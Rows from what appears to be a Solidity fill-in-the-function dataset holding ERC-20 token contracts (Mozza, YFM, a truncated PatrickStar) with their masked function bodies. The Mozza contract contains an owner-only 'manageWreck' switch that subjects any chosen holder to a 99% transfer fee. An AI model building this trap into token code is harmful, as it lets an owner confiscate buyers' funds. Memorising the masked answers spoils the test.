uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _launchBlock;
uint256 private _protectionBlocks;
uint256 private _buyLPFee = 5;
uint256 private _buyMarketingFee = 5;
uint256 private _buyReflectionFee = 0;
uint256 private _sellLPFee = 5;
uint256 private _sellMarketingFee = 5;
uint256 private _sellReflectionFee = 0;
struct FeeBreakdown {
uint256 tTransferAmount;
uint256 tLP;
uint256 tMarketing;
uint256 tReflection;
}
struct Fee {
uint256 buyMarketingFee;
uint256 buyReflectionFee;
uint256 buyLPFee;
uint256 sellMarketingFee;
uint256 sellReflectionFee;
uint256 sellLPFee;
}
mapping(address => bool) private wreck;
address payable private _marketingAddress;
address payable private _LPAddress;
address payable constant private _burnAddress = payable(0x000000000000000000000000000000000000dEaD);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 private _maxBuyTxAmount = _tTotal;
uint256 private _maxSellTxAmount = _tTotal;
bool private tradingOpen = false;
bool private inSwap = false;
bool private pairSwapped = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(uint256 perc) Auth(_msgSender()) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
address owner = _msgSender();
_marketingAddress = payable(owner);
_LPAddress = payable(owner);
swapLimit = _tTotal.div(100).mul(100 - perc);
authorize(_marketingAddress, true);
authorize(_LPAddress, true);
_rOwned[owner] = _rTotal.div(100).mul(perc);
_rOwned[address(this)] = _rTotal.sub(_rOwned[owner]);
_isExcludedFromFee[owner] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_LPAddress] = true;
emit Transfer(address(0), owner, _tTotal);
}
function name() override external pure returns (string memory) {return _name;}
function symbol() override external pure returns (string memory) {return _symbol;}
function decimals() override external pure returns (uint8) {return _decimals;}
function totalSupply() external pure override returns (uint256) {return _tTotal;}
function balanceOf(address account) public view override returns (uint256) {return tokenFromReflection(_rOwned[account]);}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {return _allowances[owner][spender];}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function getFee() internal view returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMarketingFee = _buyMarketingFee;
currentFee.buyLPFee = _buyLPFee;
currentFee.buyReflectionFee = _buyReflectionFee;
currentFee.sellMarketingFee = _sellMarketingFee;
currentFee.sellLPFee = _sellLPFee;
currentFee.sellReflectionFee = _sellReflectionFee;
return currentFee;
}
function removeAllFee() internal pure returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMarketingFee = 0;
currentFee.buyLPFee = 0;
currentFee.buyReflectionFee = 0;
currentFee.sellMarketingFee = 0;
currentFee.sellLPFee = 0;
currentFee.sellReflectionFee = 0;
return currentFee;
}
function setWreckFee() internal pure returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMarketingFee = 98;
currentFee.buyLPFee = 1;
currentFee.buyReflectionFee = 0;
currentFee.sellMarketingFee = 98;
currentFee.sellLPFee = 1;
currentFee.sellReflectionFee = 0;
return currentFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
Fee memory currentFee = getFee();
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxBuyTxAmount, "Max Buy Limit");
if (block.number <= _launchBlock.add(_protectionBlocks) || !tradingOpen) {
wreck[to] = true;
}
} else if (!inSwap && from != uniswapV2Pair && !_isExcludedFromFee[from]) { //sells, transfers (except for buys)
require(amount <= _maxSellTxAmount, "Max Sell Limit");
if (block.number <= _launchBlock.add(_protectionBlocks) || !tradingOpen) {
wreck[from] = true;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > swapLimit && swapEnabled) {
if (contractTokenBalance >= swapLimit + maxSwapLimit) {
convertTokensForFee(maxSwapLimit);
} else {
convertTokensForFee(contractTokenBalance.sub(swapLimit));
}
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
distributeFee(address(this).balance);
}
} else {
takeFee = false;
}
if (wreck[from] || wreck[to]) {
currentFee = setWreckFee();
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee, currentFee);
}
function convertTokensForFee(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function distributeFee(uint256 amount) private {
_marketingAddress.transfer(amount.div(2));
_LPAddress.transfer(amount.div(2));
}
function openTrading(uint256 protectionBlocks) external onlyOwner {
_launchBlock = block.number;
_protectionBlocks = protectionBlocks;
tradingOpen = true;
}
function updateProtection(uint256 protectionBlocks) external onlyOwner {
_protectionBlocks = protectionBlocks;
}
function triggerSwap(uint256 perc) external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
convertTokensForFee(contractBalance.mul(perc).div(100));
swapLimit = contractBalance.mul(100-perc).div(100);
}
function manuallyCollectFee(uint256 amount) external onlyOwner {
uint256 contractETHBalance = address(this).balance;
distributeFee(amount > 0 ? amount : contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, Fee memory currentFee) private {
if (!takeFee) currentFee = removeAllFee();
if (sender == uniswapV2Pair){
_transferStandardBuy(sender, recipient, amount, currentFee);
}
else {
_transferStandardSell(sender, recipient, amount, currentFee);
}
}
function _transferStandardBuy(address sender, address recipient, uint256 tAmount, Fee memory currentFee) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 tTransferAmount, uint256 tLP, uint256 tMarketing) = _getValuesBuy(tAmount, currentFee);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_processFee(tLP, tMarketing);
_rTotal = _rTotal.sub(rReflection);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandardSell(address sender, address recipient, uint256 tAmount, Fee memory currentFee) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 tTransferAmount, uint256 tLP, uint256 tMarketing) = _getValuesSell(tAmount, currentFee);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
if (recipient == _burnAddress) {
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
}
_processFee(tLP, tMarketing);
_rTotal = _rTotal.sub(rReflection);
emit Transfer(sender, recipient, tTransferAmount);
}
function _processFee(uint256 tLP, uint256 tMarketing) internal {
uint256 currentRate = _getRate();
uint256 rLP = tLP.mul(currentRate);
uint256 rMarketing = tMarketing.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLP).add(rMarketing);
}
receive() external payable {}
function _getValuesBuy(uint256 tAmount, Fee memory currentFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
FeeBreakdown memory buyFees;
(buyFees.tTransferAmount, buyFees.tLP, buyFees.tMarketing, buyFees.tReflection) = _getTValues(tAmount, currentFee.buyLPFee, currentFee.buyMarketingFee, currentFee.buyReflectionFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection) = _getRValues(tAmount, buyFees.tLP, buyFees.tMarketing, buyFees.tReflection, currentRate);
return (rAmount, rTransferAmount, rReflection, buyFees.tTransferAmount, buyFees.tLP, buyFees.tMarketing);
}
function _getValuesSell(uint256 tAmount, Fee memory currentFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
FeeBreakdown memory sellFees;
(sellFees.tTransferAmount, sellFees.tLP, sellFees.tMarketing, sellFees.tReflection) = _getTValues(tAmount, currentFee.sellLPFee, currentFee.sellMarketingFee, currentFee.sellReflectionFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection) = _getRValues(tAmount, sellFees.tLP, sellFees.tMarketing, sellFees.tReflection, currentRate);
return (rAmount, rTransferAmount, rReflection, sellFees.tTransferAmount, sellFees.tLP, sellFees.tMarketing);
}
function _getTValues(uint256 tAmount, uint256 LPFee, uint256 marketingFee, uint256 reflectionFee) private pure returns (uint256, uint256, uint256, uint256) {
uint256 tLP = tAmount.mul(LPFee).div(100);
uint256 tMarketing = tAmount.mul(marketingFee).div(100);
uint256 tReflection = tAmount.mul(reflectionFee).div(100);
uint256 tTransferAmount = tAmount.sub(tLP).sub(tMarketing);
tTransferAmount = tTransferAmount.sub(tReflection);
return (tTransferAmount, tLP, tMarketing, tReflection);
}
function _getRValues(uint256 tAmount, uint256 tLP, uint256 tMarketing, uint256 tReflection, uint256 currentRate) private pure returns (uint256, uint256, uint256) {<FILL_FUNCTION_BODY> }
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (_rOwned[_burnAddress] > rSupply || _tOwned[_burnAddress] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_burnAddress]);
tSupply = tSupply.sub(_tOwned[_burnAddress]);
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setIsExcludedFromFee(address account, bool toggle) external onlyOwner {
_isExcludedFromFee[account] = toggle;
}
function manageWreck(address account, bool isWreck) external onlyOwner {
wreck[account] = isWreck;
}
function setMaxBuyTxLimit(uint256 maxTxLimit) external onlyOwner {
_maxBuyTxAmount = maxTxLimit;
}
function updateSwapLimit(uint256 amount, uint256 maxAmount) external onlyOwner {
swapLimit = amount;
maxSwapLimit = maxAmount;
}
function setMaxSellTxLimit(uint256 maxTxLimit) external onlyOwner {
_maxSellTxAmount = maxTxLimit;
}
function setTaxes(uint256 buyMarketingFee, uint256 buyLPFee, uint256 buyReflectionFee, uint256 sellMarketingFee, uint256 sellLPFee, uint256 sellReflectionFee) external onlyOwner {
require(buyMarketingFee.add(buyLPFee).add(buyReflectionFee) < 50, "Sum of sell fees must be less than 50");
require(sellMarketingFee.add(sellLPFee).add(sellReflectionFee) < 50, "Sum of buy fees must be less than 50");
_buyMarketingFee = buyMarketingFee;
_buyLPFee = buyLPFee;
_buyReflectionFee = buyReflectionFee;
_sellMarketingFee = sellMarketingFee;
_sellLPFee = sellLPFee;
_sellReflectionFee = sellReflectionFee;
}
function updateSwapLimit(uint256 amount) external onlyOwner {
swapLimit = amount;
}
function updateSwap(bool _swapEnabled) external onlyOwner {
swapEnabled = _swapEnabled;
}
function setFeeReceivers(address payable LPAddress, address payable marketingAddress) external onlyOwner {
_LPAddress = LPAddress;
_marketingAddress = marketingAddress;
}
function transferOtherTokens(address addr, uint amount) external onlyOwner {
IERC20(addr).transfer(_msgSender(), amount);
}
} | contract Mozza is Context, IERC20, Auth {
using SafeMath for uint256;
string private constant _name = "Mozzarella | https://t.me/MozzaERC";
string private constant _symbol = "MOZZA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * (10**_decimals); // 1T Supply
uint256 public swapLimit;
uint256 public maxSwapLimit = _tTotal / 1;
bool private swapEnabled = true;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _launchBlock;
uint256 private _protectionBlocks;
uint256 private _buyLPFee = 5;
uint256 private _buyMarketingFee = 5;
uint256 private _buyReflectionFee = 0;
uint256 private _sellLPFee = 5;
uint256 private _sellMarketingFee = 5;
uint256 private _sellReflectionFee = 0;
struct FeeBreakdown {
uint256 tTransferAmount;
uint256 tLP;
uint256 tMarketing;
uint256 tReflection;
}
struct Fee {
uint256 buyMarketingFee;
uint256 buyReflectionFee;
uint256 buyLPFee;
uint256 sellMarketingFee;
uint256 sellReflectionFee;
uint256 sellLPFee;
}
mapping(address => bool) private wreck;
address payable private _marketingAddress;
address payable private _LPAddress;
address payable constant private _burnAddress = payable(0x000000000000000000000000000000000000dEaD);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 private _maxBuyTxAmount = _tTotal;
uint256 private _maxSellTxAmount = _tTotal;
bool private tradingOpen = false;
bool private inSwap = false;
bool private pairSwapped = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(uint256 perc) Auth(_msgSender()) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
address owner = _msgSender();
_marketingAddress = payable(owner);
_LPAddress = payable(owner);
swapLimit = _tTotal.div(100).mul(100 - perc);
authorize(_marketingAddress, true);
authorize(_LPAddress, true);
_rOwned[owner] = _rTotal.div(100).mul(perc);
_rOwned[address(this)] = _rTotal.sub(_rOwned[owner]);
_isExcludedFromFee[owner] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_LPAddress] = true;
emit Transfer(address(0), owner, _tTotal);
}
function name() override external pure returns (string memory) {return _name;}
function symbol() override external pure returns (string memory) {return _symbol;}
function decimals() override external pure returns (uint8) {return _decimals;}
function totalSupply() external pure override returns (uint256) {return _tTotal;}
function balanceOf(address account) public view override returns (uint256) {return tokenFromReflection(_rOwned[account]);}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {return _allowances[owner][spender];}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function getFee() internal view returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMarketingFee = _buyMarketingFee;
currentFee.buyLPFee = _buyLPFee;
currentFee.buyReflectionFee = _buyReflectionFee;
currentFee.sellMarketingFee = _sellMarketingFee;
currentFee.sellLPFee = _sellLPFee;
currentFee.sellReflectionFee = _sellReflectionFee;
return currentFee;
}
function removeAllFee() internal pure returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMarketingFee = 0;
currentFee.buyLPFee = 0;
currentFee.buyReflectionFee = 0;
currentFee.sellMarketingFee = 0;
currentFee.sellLPFee = 0;
currentFee.sellReflectionFee = 0;
return currentFee;
}
function setWreckFee() internal pure returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMarketingFee = 98;
currentFee.buyLPFee = 1;
currentFee.buyReflectionFee = 0;
currentFee.sellMarketingFee = 98;
currentFee.sellLPFee = 1;
currentFee.sellReflectionFee = 0;
return currentFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
Fee memory currentFee = getFee();
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxBuyTxAmount, "Max Buy Limit");
if (block.number <= _launchBlock.add(_protectionBlocks) || !tradingOpen) {
wreck[to] = true;
}
} else if (!inSwap && from != uniswapV2Pair && !_isExcludedFromFee[from]) { //sells, transfers (except for buys)
require(amount <= _maxSellTxAmount, "Max Sell Limit");
if (block.number <= _launchBlock.add(_protectionBlocks) || !tradingOpen) {
wreck[from] = true;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > swapLimit && swapEnabled) {
if (contractTokenBalance >= swapLimit + maxSwapLimit) {
convertTokensForFee(maxSwapLimit);
} else {
convertTokensForFee(contractTokenBalance.sub(swapLimit));
}
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
distributeFee(address(this).balance);
}
} else {
takeFee = false;
}
if (wreck[from] || wreck[to]) {
currentFee = setWreckFee();
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee, currentFee);
}
function convertTokensForFee(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function distributeFee(uint256 amount) private {
_marketingAddress.transfer(amount.div(2));
_LPAddress.transfer(amount.div(2));
}
function openTrading(uint256 protectionBlocks) external onlyOwner {
_launchBlock = block.number;
_protectionBlocks = protectionBlocks;
tradingOpen = true;
}
function updateProtection(uint256 protectionBlocks) external onlyOwner {
_protectionBlocks = protectionBlocks;
}
function triggerSwap(uint256 perc) external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
convertTokensForFee(contractBalance.mul(perc).div(100));
swapLimit = contractBalance.mul(100-perc).div(100);
}
function manuallyCollectFee(uint256 amount) external onlyOwner {
uint256 contractETHBalance = address(this).balance;
distributeFee(amount > 0 ? amount : contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, Fee memory currentFee) private {
if (!takeFee) currentFee = removeAllFee();
if (sender == uniswapV2Pair){
_transferStandardBuy(sender, recipient, amount, currentFee);
}
else {
_transferStandardSell(sender, recipient, amount, currentFee);
}
}
function _transferStandardBuy(address sender, address recipient, uint256 tAmount, Fee memory currentFee) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 tTransferAmount, uint256 tLP, uint256 tMarketing) = _getValuesBuy(tAmount, currentFee);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_processFee(tLP, tMarketing);
_rTotal = _rTotal.sub(rReflection);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandardSell(address sender, address recipient, uint256 tAmount, Fee memory currentFee) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 tTransferAmount, uint256 tLP, uint256 tMarketing) = _getValuesSell(tAmount, currentFee);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
if (recipient == _burnAddress) {
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
}
_processFee(tLP, tMarketing);
_rTotal = _rTotal.sub(rReflection);
emit Transfer(sender, recipient, tTransferAmount);
}
function _processFee(uint256 tLP, uint256 tMarketing) internal {
uint256 currentRate = _getRate();
uint256 rLP = tLP.mul(currentRate);
uint256 rMarketing = tMarketing.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLP).add(rMarketing);
}
receive() external payable {}
function _getValuesBuy(uint256 tAmount, Fee memory currentFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
FeeBreakdown memory buyFees;
(buyFees.tTransferAmount, buyFees.tLP, buyFees.tMarketing, buyFees.tReflection) = _getTValues(tAmount, currentFee.buyLPFee, currentFee.buyMarketingFee, currentFee.buyReflectionFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection) = _getRValues(tAmount, buyFees.tLP, buyFees.tMarketing, buyFees.tReflection, currentRate);
return (rAmount, rTransferAmount, rReflection, buyFees.tTransferAmount, buyFees.tLP, buyFees.tMarketing);
}
function _getValuesSell(uint256 tAmount, Fee memory currentFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
FeeBreakdown memory sellFees;
(sellFees.tTransferAmount, sellFees.tLP, sellFees.tMarketing, sellFees.tReflection) = _getTValues(tAmount, currentFee.sellLPFee, currentFee.sellMarketingFee, currentFee.sellReflectionFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection) = _getRValues(tAmount, sellFees.tLP, sellFees.tMarketing, sellFees.tReflection, currentRate);
return (rAmount, rTransferAmount, rReflection, sellFees.tTransferAmount, sellFees.tLP, sellFees.tMarketing);
}
function _getTValues(uint256 tAmount, uint256 LPFee, uint256 marketingFee, uint256 reflectionFee) private pure returns (uint256, uint256, uint256, uint256) {
uint256 tLP = tAmount.mul(LPFee).div(100);
uint256 tMarketing = tAmount.mul(marketingFee).div(100);
uint256 tReflection = tAmount.mul(reflectionFee).div(100);
uint256 tTransferAmount = tAmount.sub(tLP).sub(tMarketing);
tTransferAmount = tTransferAmount.sub(tReflection);
return (tTransferAmount, tLP, tMarketing, tReflection);
}
<FILL_FUNCTION>
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (_rOwned[_burnAddress] > rSupply || _tOwned[_burnAddress] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_burnAddress]);
tSupply = tSupply.sub(_tOwned[_burnAddress]);
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setIsExcludedFromFee(address account, bool toggle) external onlyOwner {
_isExcludedFromFee[account] = toggle;
}
function manageWreck(address account, bool isWreck) external onlyOwner {
wreck[account] = isWreck;
}
function setMaxBuyTxLimit(uint256 maxTxLimit) external onlyOwner {
_maxBuyTxAmount = maxTxLimit;
}
function updateSwapLimit(uint256 amount, uint256 maxAmount) external onlyOwner {
swapLimit = amount;
maxSwapLimit = maxAmount;
}
function setMaxSellTxLimit(uint256 maxTxLimit) external onlyOwner {
_maxSellTxAmount = maxTxLimit;
}
function setTaxes(uint256 buyMarketingFee, uint256 buyLPFee, uint256 buyReflectionFee, uint256 sellMarketingFee, uint256 sellLPFee, uint256 sellReflectionFee) external onlyOwner {
require(buyMarketingFee.add(buyLPFee).add(buyReflectionFee) < 50, "Sum of sell fees must be less than 50");
require(sellMarketingFee.add(sellLPFee).add(sellReflectionFee) < 50, "Sum of buy fees must be less than 50");
_buyMarketingFee = buyMarketingFee;
_buyLPFee = buyLPFee;
_buyReflectionFee = buyReflectionFee;
_sellMarketingFee = sellMarketingFee;
_sellLPFee = sellLPFee;
_sellReflectionFee = sellReflectionFee;
}
function updateSwapLimit(uint256 amount) external onlyOwner {
swapLimit = amount;
}
function updateSwap(bool _swapEnabled) external onlyOwner {
swapEnabled = _swapEnabled;
}
function setFeeReceivers(address payable LPAddress, address payable marketingAddress) external onlyOwner {
_LPAddress = LPAddress;
_marketingAddress = marketingAddress;
}
function transferOtherTokens(address addr, uint amount) external onlyOwner {
IERC20(addr).transfer(_msgSender(), amount);
}
} |
uint256 rAmount = tAmount.mul(currentRate);
uint256 rLP = tLP.mul(currentRate);
uint256 rMarketing = tMarketing.mul(currentRate);
uint256 rReflection = tReflection.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rLP).sub(rMarketing).sub(rReflection);
return (rAmount, rTransferAmount, rReflection);
| function _getRValues(uint256 tAmount, uint256 tLP, uint256 tMarketing, uint256 tReflection, uint256 currentRate) private pure returns (uint256, uint256, uint256) | function _getRValues(uint256 tAmount, uint256 tLP, uint256 tMarketing, uint256 tReflection, uint256 currentRate) private pure returns (uint256, uint256, uint256) |
84805 | YFM | null | contract YFM is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {<FILL_FUNCTION_BODY> }
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract YFM is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
decimals = 18;
symbol = "YFM";
name = "yfmoney.finance";
_totalSupply = 90000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
| constructor() public | constructor() public |
58855 | PatrickStar | _transferStandard | contract PatrickStar is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 300000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "PatrickStar";
string private constant _symbol = "PatrickStar";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xF3E24D233d72d78A947c24D6b07ba4Ad36899517);
_feeAddrWallet2 = payable(0xF3E24D233d72d78A947c24D6b07ba4Ad36899517);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
